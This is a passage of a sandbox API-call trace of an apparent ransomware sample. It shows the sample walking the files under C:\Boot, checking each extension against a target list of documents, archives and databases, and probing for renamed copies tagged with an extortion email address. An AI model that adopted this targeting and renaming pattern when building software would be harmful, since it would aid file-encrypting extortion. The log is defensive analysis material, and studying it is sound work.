[0069.270] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x6) returned 0x65dae8 [0069.270] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x66ffc8 [0069.270] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x100000) returned 0x3da0020 [0069.271] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x66ffe0 [0069.271] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x66ffe0, Size=0x20) returned 0x6248b0 [0069.271] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x66ffe0 [0069.271] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x66ffe0, Size=0x20) returned 0x6249a0 [0069.271] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0069.271] GetProcAddress (hModule=0x76d30000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76d5d650 [0069.272] Wow64DisableWow64FsRedirection (in: OldValue=0x33eff58 | out: OldValue=0x33eff58*=0x0) returned 1 [0069.272] lstrlenW (lpString="kernel32.dll") returned 12 [0069.272] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6248b0 | out: hHeap=0x5d0000) returned 1 [0069.272] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0069.272] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6249a0 | out: hHeap=0x5d0000) returned 1 [0069.272] Sleep (dwMilliseconds=0x64) [0069.545] Sleep (dwMilliseconds=0x64) [0069.821] lstrcmpiW (lpString1=".mui", lpString2=".IPM") returned 1 [0069.821] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0069.821] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0069.822] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x33eff1c | out: lpFileSize=0x33eff1c*=89168) returned 1 [0069.822] CloseHandle (hObject=0x18c) returned 1 [0069.822] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0069.822] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0069.822] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0069.822] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0069.822] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0069.822] lstrlenW (lpString=".doc") returned 4 [0069.822] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0069.822] lstrlenW (lpString=".docx") returned 5 [0069.822] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0069.822] lstrlenW (lpString=".pdf") returned 4 [0069.822] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0069.822] lstrlenW (lpString=".xls") returned 4 [0069.822] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0069.822] lstrlenW (lpString=".xlsx") returned 5 [0069.822] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0069.822] lstrlenW (lpString=".ppt") returned 4 [0069.822] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0069.822] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0069.822] lstrlenW (lpString=".zip") returned 4 [0069.823] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0069.823] lstrlenW (lpString=".rar") returned 4 [0069.823] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0069.823] lstrlenW (lpString=".bz2") returned 4 [0069.823] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0069.823] lstrlenW (lpString=".7z") returned 3 [0069.823] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0069.823] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0069.823] lstrlenW (lpString=".dbf") returned 4 [0069.823] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0069.823] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0069.823] lstrlenW (lpString=".1cd") returned 4 [0069.823] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0069.823] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0069.823] lstrlenW (lpString=".jpg") returned 4 [0069.823] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0069.823] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0069.823] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0069.823] lstrlenW (lpString=".doc") returned 4 [0069.823] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0069.823] lstrlenW (lpString=".docx") returned 5 [0069.823] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0069.824] lstrlenW (lpString=".pdf") returned 4 [0069.824] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0069.824] lstrlenW (lpString=".xls") returned 4 [0069.824] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0069.824] lstrlenW (lpString=".xlsx") returned 5 [0069.824] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0069.824] lstrlenW (lpString=".ppt") returned 4 [0069.824] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0069.824] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0069.824] lstrlenW (lpString=".zip") returned 4 [0069.824] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0069.824] lstrlenW (lpString=".rar") returned 4 [0069.824] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0069.824] lstrlenW (lpString=".bz2") returned 4 [0069.824] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0069.824] lstrlenW (lpString=".7z") returned 3 [0069.824] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0069.824] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0069.824] lstrlenW (lpString=".dbf") returned 4 [0069.824] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0069.824] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0069.824] lstrlenW (lpString=".1cd") returned 4 [0069.824] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0069.825] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0069.825] lstrlenW (lpString=".jpg") returned 4 [0069.825] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0069.825] lstrcmpiW (lpString1=".mui", lpString2=".IPM") returned 1 [0069.825] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0069.825] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0069.825] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x33eff1c | out: lpFileSize=0x33eff1c*=87616) returned 1 [0069.825] CloseHandle (hObject=0x18c) returned 1 [0069.825] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0069.826] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0069.826] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0069.826] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0069.826] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0069.826] lstrlenW (lpString=".doc") returned 4 [0069.826] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0069.826] lstrlenW (lpString=".docx") returned 5 [0069.826] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0069.826] lstrlenW (lpString=".pdf") returned 4 [0069.826] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0069.826] lstrlenW (lpString=".xls") returned 4 [0069.826] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0069.826] lstrlenW (lpString=".xlsx") returned 5 [0069.826] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0069.827] lstrlenW (lpString=".ppt") returned 4 [0069.827] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0069.827] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0069.827] lstrlenW (lpString=".zip") returned 4 [0069.827] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0069.827] lstrlenW (lpString=".rar") returned 4 [0069.827] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0069.827] lstrlenW (lpString=".bz2") returned 4 [0069.827] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0069.827] lstrlenW (lpString=".7z") returned 3 [0069.827] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0069.827] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0069.827] lstrlenW (lpString=".dbf") returned 4 [0069.827] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0069.827] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0069.827] lstrlenW (lpString=".1cd") returned 4 [0069.827] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0069.828] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0069.828] lstrlenW (lpString=".jpg") returned 4 [0069.828] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0069.828] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0069.828] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0069.828] lstrlenW (lpString=".doc") returned 4 [0069.828] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0069.828] lstrlenW (lpString=".docx") returned 5 [0069.828] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0069.828] lstrlenW (lpString=".pdf") returned 4 [0069.828] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0069.828] lstrlenW (lpString=".xls") returned 4 [0069.828] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0069.828] lstrlenW (lpString=".xlsx") returned 5 [0069.828] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0069.828] lstrlenW (lpString=".ppt") returned 4 [0069.828] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0069.828] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0069.828] lstrlenW (lpString=".zip") returned 4 [0069.828] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0069.828] lstrlenW (lpString=".rar") returned 4 [0069.828] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0069.829] lstrlenW (lpString=".bz2") returned 4 [0069.829] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0069.829] lstrlenW (lpString=".7z") returned 3 [0069.829] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0069.829] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0069.829] lstrlenW (lpString=".dbf") returned 4 [0069.829] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0069.829] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0069.829] lstrlenW (lpString=".1cd") returned 4 [0069.829] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0069.829] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0069.829] lstrlenW (lpString=".jpg") returned 4 [0069.829] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0069.829] lstrcmpiW (lpString1=".mui", lpString2=".IPM") returned 1 [0069.829] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0069.829] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0069.830] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x33eff1c | out: lpFileSize=0x33eff1c*=91712) returned 1 [0069.830] CloseHandle (hObject=0x18c) returned 1 [0069.830] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0069.830] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0069.830] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0069.830] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0069.830] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0069.830] lstrlenW (lpString=".doc") returned 4 [0069.830] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0069.830] lstrlenW (lpString=".docx") returned 5 [0069.830] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0069.830] lstrlenW (lpString=".pdf") returned 4 [0069.830] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0069.831] lstrlenW (lpString=".xls") returned 4 [0069.831] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0069.831] lstrlenW (lpString=".xlsx") returned 5 [0069.831] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0069.831] lstrlenW (lpString=".ppt") returned 4 [0069.831] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0069.831] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0069.831] lstrlenW (lpString=".zip") returned 4 [0069.831] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0069.831] lstrlenW (lpString=".rar") returned 4 [0069.831] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0069.831] lstrlenW (lpString=".bz2") returned 4 [0069.831] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0069.831] lstrlenW (lpString=".7z") returned 3 [0069.831] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0069.831] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0069.831] lstrlenW (lpString=".dbf") returned 4 [0069.831] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0069.831] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0069.831] lstrlenW (lpString=".1cd") returned 4 [0069.832] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0069.832] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0069.832] lstrlenW (lpString=".jpg") returned 4 [0069.832] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0069.832] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0069.832] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0069.832] lstrlenW (lpString=".doc") returned 4 [0069.832] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0069.832] lstrlenW (lpString=".docx") returned 5 [0069.832] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0069.832] lstrlenW (lpString=".pdf") returned 4 [0069.832] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0069.832] lstrlenW (lpString=".xls") returned 4 [0069.832] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0069.832] lstrlenW (lpString=".xlsx") returned 5 [0069.832] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0069.832] lstrlenW (lpString=".ppt") returned 4 [0069.832] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0069.832] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0069.832] lstrlenW (lpString=".zip") returned 4 [0069.832] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0069.833] lstrlenW (lpString=".rar") returned 4 [0069.833] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0069.833] lstrlenW (lpString=".bz2") returned 4 [0069.833] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0069.833] lstrlenW (lpString=".7z") returned 3 [0069.833] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0069.833] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0069.833] lstrlenW (lpString=".dbf") returned 4 [0069.833] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0069.833] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0069.833] lstrlenW (lpString=".1cd") returned 4 [0069.833] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0069.833] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0069.833] lstrlenW (lpString=".jpg") returned 4 [0069.833] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0069.833] lstrcmpiW (lpString1=".mui", lpString2=".IPM") returned 1 [0069.833] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0069.833] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0069.834] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x33eff1c | out: lpFileSize=0x33eff1c*=94800) returned 1 [0069.834] CloseHandle (hObject=0x18c) returned 1 [0069.834] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0069.834] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0069.834] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0069.834] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0069.834] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0069.834] lstrlenW (lpString=".doc") returned 4 [0069.834] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0069.834] lstrlenW (lpString=".docx") returned 5 [0069.834] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0069.834] lstrlenW (lpString=".pdf") returned 4 [0069.834] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0069.834] lstrlenW (lpString=".xls") returned 4 [0069.834] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0069.834] lstrlenW (lpString=".xlsx") returned 5 [0069.834] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0069.834] lstrlenW (lpString=".ppt") returned 4 [0069.834] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0069.834] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0069.834] lstrlenW (lpString=".zip") returned 4 [0069.835] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0069.835] lstrlenW (lpString=".rar") returned 4 [0069.835] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0069.835] lstrlenW (lpString=".bz2") returned 4 [0069.835] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0069.835] lstrlenW (lpString=".7z") returned 3 [0069.835] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0069.835] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0069.835] lstrlenW (lpString=".dbf") returned 4 [0069.835] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0069.835] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0069.835] lstrlenW (lpString=".1cd") returned 4 [0069.835] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0069.835] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0069.835] lstrlenW (lpString=".jpg") returned 4 [0069.835] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0069.835] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0069.835] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0069.835] lstrlenW (lpString=".doc") returned 4 [0069.835] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0069.835] lstrlenW (lpString=".docx") returned 5 [0069.835] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0069.835] lstrlenW (lpString=".pdf") returned 4 [0069.835] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0069.835] lstrlenW (lpString=".xls") returned 4 [0069.835] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0069.835] lstrlenW (lpString=".xlsx") returned 5 [0069.835] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0069.835] lstrlenW (lpString=".ppt") returned 4 [0069.835] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0069.835] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0069.836] lstrlenW (lpString=".zip") returned 4 [0069.836] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0069.836] lstrlenW (lpString=".rar") returned 4 [0069.836] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0069.836] lstrlenW (lpString=".bz2") returned 4 [0069.836] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0069.836] lstrlenW (lpString=".7z") returned 3 [0069.836] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0069.836] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0069.836] lstrlenW (lpString=".dbf") returned 4 [0069.836] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0069.836] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0069.836] lstrlenW (lpString=".1cd") returned 4 [0069.836] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0069.836] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0069.836] lstrlenW (lpString=".jpg") returned 4 [0069.836] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0069.836] lstrcmpiW (lpString1=".mui", lpString2=".IPM") returned 1 [0069.836] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0069.836] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0069.837] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x33eff1c | out: lpFileSize=0x33eff1c*=85056) returned 1 [0069.837] CloseHandle (hObject=0x18c) returned 1 [0069.837] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui")) returned 0x20 [0069.837] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0069.837] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0069.837] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0069.837] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0069.837] lstrlenW (lpString=".doc") returned 4 [0069.837] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0069.837] lstrlenW (lpString=".docx") returned 5 [0069.837] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0069.837] lstrlenW (lpString=".pdf") returned 4 [0069.837] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0069.837] lstrlenW (lpString=".xls") returned 4 [0069.837] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0069.837] lstrlenW (lpString=".xlsx") returned 5 [0069.837] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0069.837] lstrlenW (lpString=".ppt") returned 4 [0069.837] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0069.837] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0069.837] lstrlenW (lpString=".zip") returned 4 [0069.837] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0069.837] lstrlenW (lpString=".rar") returned 4 [0069.837] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0069.837] lstrlenW (lpString=".bz2") returned 4 [0069.838] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0069.838] lstrlenW (lpString=".7z") returned 3 [0069.838] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0069.838] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0069.838] lstrlenW (lpString=".dbf") returned 4 [0069.838] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0069.838] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0069.838] lstrlenW (lpString=".1cd") returned 4 [0069.838] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0069.838] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0069.838] lstrlenW (lpString=".jpg") returned 4 [0069.838] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0069.838] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0069.838] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0069.838] lstrlenW (lpString=".doc") returned 4 [0069.838] lstrcmpiW 